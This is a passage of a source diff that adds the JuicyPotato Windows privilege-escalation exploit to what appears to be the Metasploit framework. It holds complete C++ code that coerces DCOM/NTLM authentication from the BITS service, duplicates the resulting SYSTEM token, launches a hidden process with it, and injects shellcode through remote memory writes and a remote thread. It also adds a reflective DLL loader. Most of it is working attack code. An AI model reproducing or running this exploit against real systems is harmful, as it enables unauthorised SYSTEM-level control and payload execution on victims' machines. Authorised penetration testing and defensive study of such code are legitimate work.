&ClientSocket); + } + else if (iResult == 0) { + //connection closing... + shutdown(ClientSocket, SD_SEND); + WSACleanup(); + exit(-1); + } + else { + + if (!TEST_mode) + { + if (logFile != NULL) + { + fprintf(logFile, "[-] COM -> recv failed with error: %d\n", WSAGetLastError()); + fflush(logFile); + } + } + shutdown(ClientSocket, SD_SEND); + WSACleanup(); + + exit(-1); + } + + } while (iResult > 0); + + // shutdown the connection since we're done + iResult = shutdown(ClientSocket, SD_SEND); + if (logFile != NULL) + { + fprintf(logFile, "\nstartCOMListener iResult ComLisetner: %d\n", iResult); + fflush(logFile); + } + + if (iResult == SOCKET_ERROR) { + if (logFile != NULL) + { + fprintf(logFile, "[-] shutdown failed with error: %d\n", WSAGetLastError()); + fflush(logFile); + } + + closesocket(ClientSocket); + WSACleanup(); + exit(-1); + } + + // cleanup + closesocket(ClientSocket); + WSACleanup(); + return 0; +} + +BOOL EnablePriv(HANDLE hToken, LPCTSTR priv) +{ + TOKEN_PRIVILEGES tp; + LUID luid; + + if (!LookupPrivilegeValue(NULL, priv, &luid)) + { + if (logFile != NULL) + { + fprintf(logFile, "[-] Priv Lookup FALSE\n"); + fflush(logFile); + } + + return FALSE; + } + + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + if (!AdjustTokenPrivileges( + hToken, + FALSE, + &tp, + sizeof(TOKEN_PRIVILEGES), + (PTOKEN_PRIVILEGES)NULL, + (PDWORD)NULL)) + { + if (logFile != NULL) + { + fprintf(logFile, "[-] Priv Adjust FALSE\n"); + fflush(logFile); + } + + return FALSE; + } + + return TRUE; +} + +int wmain(int argc, wchar_t** argv) +{ + BOOL brute = FALSE; + + strcpy(dcom_ip, "127.0.0.1"); + while ((argc > 1) && (argv[1][0] == '-')) + { + switch (argv[1][1]) + { + case 't': + ++argv; + --argc; + processtype = argv[1]; + break; + + case 'p': + ++argv; + --argc; + processname = argv[1]; + break; + + case 'l': + ++argv; + --argc; + g_port = argv[1]; + break; + + case 'c': + ++argv; + --argc; + olestr = argv[1]; + break; + + case 'a': + ++argv; + --argc; + processargs = argv[1]; + break; + + case 'm': + ++argv; + --argc; + memset(dcom_ip, 0, 17); + wcstombs(dcom_ip, argv[1], wcslen(argv[1])); + break; + + case 'h': + usage(); + exit(100); + break; + + case 'k': + ++argv; + --argc; + rpcserver = argv[1]; + break; + + case 'n': + ++argv; + --argc; + rpcport = argv[1]; + break; + + case 'z': + TEST_mode = TRUE; + break; + + default: + printf("Wrong Argument: %s\n", argv[1]); + usage(); + exit(-1); + } + + ++argv; + --argc; + } + + if (g_port == NULL) + { + usage(); + exit(-1); + } + + if ((processtype == NULL || processname == NULL) && !TEST_mode) + { + usage(); + exit(-1); + } + + // Fallback to default BITS CLSID + if (olestr == NULL) + olestr = L"{4991d34b-80a1-4291-83b6-3328366b9097}"; + + exit(Juicy(NULL, FALSE, NULL, 0)); +} + +int Juicy(wchar_t *clsid, BOOL brute, LPVOID lpPayload, long lPayloadLength) +{ + PotatoAPI* test = new PotatoAPI(); + test->startCOMListenerThread(); + + if (clsid != NULL) + olestr = clsid; + + if (!TEST_mode) + { + if (logFile != NULL) + { + fprintf(logFile, "Testing: %S - %S\n", olestr, g_port); + fflush(logFile); + } + } + + test->startRPCConnectionThread(); + test->triggerDCOM(); + + BOOL result = false; + + int ret = 0; + while (true) { + + if (test->negotiator->authResult != -1) + { + HANDLE hToken; + TOKEN_PRIVILEGES tkp; + SECURITY_DESCRIPTOR sdSecurityDescriptor; + if (!TEST_mode) + { + if (logFile != NULL) + { + fprintf(logFile, "\n[+] authResult: %d\n", test->negotiator->authResult); + fflush(logFile); + } + } + + // Get a token for this process. + if (!OpenProcessToken(GetCurrentProcess(), + TOKEN_ALL_ACCESS, &hToken)) + { + if (logFile != NULL) + { + fprintf(logFile, "[-] OpenProcessToken\n"); + fflush(logFile); + } + + return 0; + } + + //enable privileges + EnablePriv(hToken, SE_IMPERSONATE_NAME); + EnablePriv(hToken, SE_ASSIGNPRIMARYTOKEN_NAME); + PTOKEN_TYPE ptg; + DWORD dwl = 0; + HANDLE hProcessToken; + OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, + &hProcessToken); + + QuerySecurityContextToken(test->negotiator->phContext, &elevated_token); + IsTokenSystem(elevated_token); + + result = DuplicateTokenEx(elevated_token, + TOKEN_ALL_ACCESS, + NULL, + SecurityImpersonation, + TokenPrimary, + &duped_token); + + PROCESS_INFORMATION pi; + STARTUPINFO si; + SECURITY_ATTRIBUTES sa; + + ZeroMemory(&si, sizeof(STARTUPINFO)); + ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); + memset(&pi, 0x00, sizeof(PROCESS_INFORMATION)); + si.cb = sizeof(STARTUPINFO); + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; + si.lpDesktop = L"winsta0\\default"; + + if (cmdproc == NULL) + { + cmdproc = L"cmd.exe"; + } + + result = CreateProcessWithTokenW(duped_token, + 0, + cmdproc, + NULL, + 0, + NULL, + NULL, + &si, + &pi); + + if (!result) + { + if (logFile != NULL) + { + fprintf(logFile, "\n[-] CreateProcessWithTokenW failed with error: %d\n", GetLastError()); + fflush(logFile); + } + + result = CreateProcessAsUserW( + duped_token, + cmdproc, + NULL, + nullptr, + nullptr, + FALSE, + 0, + nullptr, + L"C:\\", + &si, + &pi); + + if (!result) { + if (logFile != NULL) + { + fprintf(logFile, "\n[-] CreateProcessAsUser failed with error: %d\n", GetLastError()); + fflush(logFile); + } + } + else + { + if (logFile != NULL) + { + fprintf(logFile, "\n[+] CreateProcessAsUser OK\n"); + fprintf(logFile, "Payload length: %d\n", lPayloadLength); + fflush(logFile); + } + + LPVOID vptr = (int *)VirtualAllocEx(pi.hProcess, NULL, lPayloadLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + SIZE_T lpnumber = 0; + BOOL b = WriteProcessMemory(pi.hProcess, vptr, lpPayload, lPayloadLength, &lpnumber); + if (logFile != NULL) + { + fprintf(logFile, "WriteProcessResult: %d; lpnumber = %d\n", b, lpnumber); + fflush(logFile); + } + + HANDLE h = CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)vptr, NULL, 0, 0); + + if (h == NULL) + { + if (logFile != NULL) + { + fprintf(logFile, "[-] Failed to execute shellcode: %d\n", GetLastError()); + fflush(logFile); + } + } + break; + } + } + else + { + if (logFile != NULL) + { + fprintf(logFile, "\n[+] CreateProcessWithTokenW OK\n"); + fprintf(logFile, "Payload length: %d\n", lPayloadLength); + fflush(logFile); + } + + LPVOID vptr = (int *)VirtualAllocEx(pi.hProcess, NULL, lPayloadLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + SIZE_T lpnumber = 0; + BOOL b = WriteProcessMemory(pi.hProcess, vptr, lpPayload, lPayloadLength, &lpnumber); + if (logFile != NULL) + { + fprintf(logFile, "WriteProcessResult: %d; lpnumber: %d\n", b, lpnumber); + fflush(logFile); + } + + HANDLE h = CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)vptr, NULL, 0, 0); + + if (h == NULL) + { + if (logFile != NULL) + { + fprintf(logFile, "[-] Failed to execute shellcode: %d\n", GetLastError()); + fflush(logFile); + } + } + } + + break; + }//end auth + } + return result; +} + +void EntryPoint(LPVOID lpReserved) +{ + logFile = NULL; + + BOOL brute = FALSE; + int len; + long payloadLength; + char *buff = (char *)lpReserved; + + len = strlen(buff) + 1; + if (len > 1) + { + logFile = fopen(buff, "w"); + } + buff += len; + + len = strlen(buff) + 1; + cmdproc = (wchar_t *)malloc(sizeof(wchar_t) * len); + mbstowcs(cmdproc, buff, len); + buff += len; + + len = strlen(buff) + 1; + olestr = (wchar_t *)malloc(sizeof(wchar_t) * len); + mbstowcs(olestr, buff, len); + buff += len; + + len = strlen(buff) + 1; + g_port = (wchar_t *)malloc(sizeof(wchar_t) * len); + mbstowcs(g_port, buff, len); + buff += len; + + len = strlen(buff) + 1; + rpcserver = (wchar_t *)malloc(sizeof(wchar_t) * len); + mbstowcs(rpcserver, buff, len); + buff += len; + + len = strlen(buff) + 1; + rpcport = (wchar_t *)malloc(sizeof(wchar_t) * len); + mbstowcs(rpcport, buff, len); + buff += len; + + len = strlen(buff) + 1; + strcpy(dcom_ip, buff); + buff += len; + + len = strlen(buff) + 1; + payloadLength = atol(buff); + buff += len; + + Juicy(olestr, FALSE, (LPVOID*)buff, payloadLength); + + free(olestr); + free(g_port); + free(rpcserver); + free(rpcport); + + if (logFile != NULL) + { + fclose(logFile); + } +} diff --git a/external/source/exploits/juicypotato/JuicyPotato/JuicyPotato.vcxproj b/external/source/exploits/juicypotato/JuicyPotato/JuicyPotato.vcxproj new file mode 100644 index 0000000000..d59ba388b2 --- /dev/null +++ b/external/source/exploits/juicypotato/JuicyPotato/JuicyPotato.vcxproj @@ -0,0 +1,200 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + {4164003E-BA47-4A95-8586-D5AAC399C050} + Win32Proj + JuicyPotato + 10.0.17763.0 + JuicyPotato + + + + DynamicLibrary + true + v141 + Unicode + + + DynamicLibrary + false + v141 + true + Unicode + + + DynamicLibrary + true + v141 + Unicode + + + DynamicLibrary + false + v141 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + $(SolutionDir)$(Configuration)\$(Platform)\ + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + MultiThreaded + + + Windows + true + secur32.lib;%(AdditionalDependencies) + + + + + Use + Level3 + Disabled + _DEBUG;_WINDOWS;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + MultiThreaded + + + Windows + true + secur32.lib;%(AdditionalDependencies) + true + + + + + Level3 + NotUsing + MaxSpeed + true + true + WIN32;WIN_X86;NDEBUG;_WINDOWS;_USRDLL;RDLL_EXPORTS;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;_USRDLL;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + MultiThreaded + + + Windows + true + true + true + secur32.lib;%(AdditionalDependencies) + + + + + Level3 + NotUsing + MaxSpeed + true + true + WIN64;WIN_X64;NDEBUG;_WINDOWS;_USRDLL;RDLL_EXPORTS;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;MSFROTTENPOTATO_EXPORTS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + true + MultiThreaded + + + Console + true + true + true + secur32.lib;%(AdditionalDependencies) + + + $(SolutionDir)$(Configuration)\$(Platform)\$(MSBuildProjectName).log + + + + + + + + + + + + + + + + + + false + + + false + + + false + + + false + + + + + + + + + Create + Create + Create + Create + + + + + + \ No newline at end of file diff --git a/external/source/exploits/juicypotato/JuicyPotato/JuicyPotato.vcxproj.filters b/external/source/exploits/juicypotato/JuicyPotato/JuicyPotato.vcxproj.filters new file mode 100644 index 0000000000..6ad308fdd3 --- /dev/null +++ b/external/source/exploits/juicypotato/JuicyPotato/JuicyPotato.vcxproj.filters @@ -0,0 +1,66 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + \ No newline at end of file diff --git a/external/source/exploits/juicypotato/JuicyPotato/LocalNegotiator.cpp b/external/source/exploits/juicypotato/JuicyPotato/LocalNegotiator.cpp new file mode 100644 index 0000000000..f302566053 --- /dev/null +++ b/external/source/exploits/juicypotato/JuicyPotato/LocalNegotiator.cpp @@ -0,0 +1,115 @@ +#include "stdafx.h" +#include "LocalNegotiator.h" +#include + +LocalNegotiator::LocalNegotiator() +{ + authResult = -1; +} + +void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer) +{ + pSecBuffer->BufferType = SECBUFFER_TOKEN; + pSecBuffer->cbBuffer = 0; + pSecBuffer->pvBuffer = nullptr; + + pSecBufferDesc->ulVersion = SECBUFFER_VERSION; + pSecBufferDesc->cBuffers = 1; + pSecBufferDesc->pBuffers = pSecBuffer; +} + +int LocalNegotiator::handleType1(char * ntlmBytes, int len) +{ + TCHAR lpPackageName[1024] = L"Negotiate"; + TimeStamp ptsExpiry; + + int status = AcquireCredentialsHandle( + NULL, + lpPackageName, + SECPKG_CRED_INBOUND, + NULL, + NULL, + 0, + NULL, + &hCred, + &ptsExpiry); + + if (status != SEC_E_OK) + { + printf("Error in AquireCredentialsHandle"); + return -1; + } + + InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer); + InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer); + + phContext = new CtxtHandle(); + + secClientBuffer.cbBuffer = static_cast(len); + secClientBuffer.pvBuffer = ntlmBytes; + + ULONG fContextAttr; + TimeStamp tsContextExpiry; + + status = AcceptSecurityContext( + &hCred, + nullptr, + &secClientBufferDesc, + ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION, + //STANDARD_CONTEXT_ATTRIBUTES, + SECURITY_NATIVE_DREP, + phContext, + &secServerBufferDesc, + &fContextAttr, + &tsContextExpiry); + + return status; +} + +int LocalNegotiator::handleType2(char * ntlmBytes, int len) +{ + char* newNtlmBytes = (char*)secServerBuffer.pvBuffer; + if (len >= secServerBuffer.cbBuffer) { + for (int i = 0; i < len; i++) + { + if (i < secServerBuffer.cbBuffer) { + ntlmBytes[i] = newNtlmBytes[i]; + } + else { + ntlmBytes[i] = 0x00; + } + } + } + else { + printf("Buffer sizes incompatible - can't replace"); + } + + return 0; +} + +int LocalNegotiator::handleType3(char * ntlmBytes, int len) +{ + InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer); + InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer); + + secClientBuffer.cbBuffer = static_cast(len); + secClientBuffer.pvBuffer = ntlmBytes; + + ULONG fContextAttr; + TimeStamp tsContextExpiry; + int status = AcceptSecurityContext( + &hCred, + phContext, + &secClientBufferDesc, + ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION, + //STANDARD_CONTEXT_ATTRIBUTES, + SECURITY_NATIVE_DREP, + phContext, + &secServerBufferDesc, + &fContextAttr, + &tsContextExpiry); + + authResult = status; + + return status; +} diff --git a/external/source/exploits/juicypotato/JuicyPotato/LocalNegotiator.h b/external/source/exploits/juicypotato/JuicyPotato/LocalNegotiator.h new file mode 100644 index 0000000000..b1c8bf5e53 --- /dev/null +++ b/external/source/exploits/juicypotato/JuicyPotato/LocalNegotiator.h @@ -0,0 +1,21 @@ +#define SECURITY_WIN32 + +#pragma once +#include +#include +class LocalNegotiator +{ +public: + LocalNegotiator(); + int handleType1(char* ntlmBytes, int len); + int handleType2(char* ntlmBytes, int len); + int handleType3(char* ntlmBytes, int len); + PCtxtHandle phContext; + int authResult; + +private: + CredHandle hCred; + SecBufferDesc secClientBufferDesc, secServerBufferDesc; + SecBuffer secClientBuffer, secServerBuffer; +}; + diff --git a/external/source/exploits/juicypotato/JuicyPotato/MSFRottenPotato.h b/external/source/exploits/juicypotato/JuicyPotato/MSFRottenPotato.h new file mode 100644 index 0000000000..f90dd3cc4d --- /dev/null +++ b/external/source/exploits/juicypotato/JuicyPotato/MSFRottenPotato.h @@ -0,0 +1,31 @@ +#include "Objidl.h" +#include "BlockingQueue.h" +#include "LocalNegotiator.h" +#include + +__declspec(dllexport) class PotatoAPI { + +private: + BlockingQueue* comSendQ; + BlockingQueue* rpcSendQ; + static DWORD WINAPI staticStartRPCConnection(void * Param); + static DWORD WINAPI staticStartCOMListener(void * Param); + static int newConnection; + int processNtlmBytes(char* bytes, int len); + int findNTLMBytes(char * bytes, int len); + +public: + PotatoAPI(void); + int startRPCConnection(void); + DWORD startRPCConnectionThread(); + DWORD startCOMListenerThread(); + int startCOMListener(void); + int triggerDCOM(); + LocalNegotiator *negotiator; + SOCKET ListenSocket = INVALID_SOCKET; + SOCKET ClientSocket = INVALID_SOCKET; + SOCKET ConnectSocket = INVALID_SOCKET; +}; + +extern "C" __declspec(dllexport) void EntryPoint(LPVOID lpReserved); +extern "C" __declspec(dllexport) int Juicy(wchar_t *clsid, BOOL brute, LPVOID lpPayload, long lPayloadLength); diff --git a/external/source/exploits/juicypotato/JuicyPotato/ReflectiveDLLInjection.h b/external/source/exploits/juicypotato/JuicyPotato/ReflectiveDLLInjection.h new file mode 100644 index 0000000000..aee09b80af --- /dev/null +++ b/external/source/exploits/juicypotato/JuicyPotato/ReflectiveDLLInjection.h @@ -0,0 +1,52 @@ +#pragma once +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR(WINAPI * REFLECTIVELOADER)(VOID); +typedef BOOL(WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// \ No newline at end of file diff --git a/external/source/exploits/juicypotato/JuicyPotato/ReflectiveLoader.c b/external/source/exploits/juicypotato/JuicyPotato/ReflectiveLoader.c new file mode 100644 index 0000000000..913ab0ecc4 --- /dev/null +++ b/external/source/exploits/juicypotato/JuicyPotato/ReflectiveLoader.c @@ -0,0 +1,494 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "ReflectiveLoader.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +//===============================================================================================// +#pragma intrinsic( _ReturnAddress ) +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); } +//===============================================================================================// + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while (TRUE) + { + if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef WIN_X64 + uiBaseAddress = __readgsqword(0x60); +#else +#ifdef WIN_X86 + uiBaseAddress = __readfsdword(0x30); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while (uiValueA) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + do + { + uiValueC = ror((DWORD)uiValueC); + // normalize to uppercase if the madule name is in lowercase + if (*((BYTE *)uiValueB) >= 'a') + uiValueC += *((BYTE *)uiValueB) - 0x20; + else + uiValueC += *((BYTE *)uiValueB); + uiValueB++; + } while (--usCounter); + + // compare the hash with that of kernel32.dll + if ((DWORD)uiValueC == KERNEL32DLL_HASH) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of name pointers + uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); + + // get the VA for the array of name ordinals + uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); + + usCounter = 3; + + // loop while we still have imports to find + while (usCounter > 0) + { + // compute the hash values for this function name + dwHashValue = hash((char *)(uiBaseAddress + DEREF_32(uiNameArray))); + + // if we have found a function we want we get its virtual address + if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH) + { + // get the VA for the array of addresses + uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); + + // store this functions VA + if (dwHashValue == LOADLIBRARYA_HASH) + pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray)); + else if (dwHashValue == GETPROCADDRESS_HASH) + pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray)); + else if (dwHashValue == VIRTUALALLOC_HASH) + pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray)); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + else if ((DWORD)uiValueC == NTDLLDLL_HASH) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of name pointers + uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); + + // get the VA for the array of name ordinals + uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); + + usCounter = 1; + + // loop while we still have imports to find + while (usCounter > 0) + { + // compute the hash values for this function name + dwHashValue = hash((char *)(uiBaseAddress + DEREF_32(uiNameArray))); + + // if we have found a function we want we get its virtual address + if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) + { + // get the VA for the array of addresses + uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * 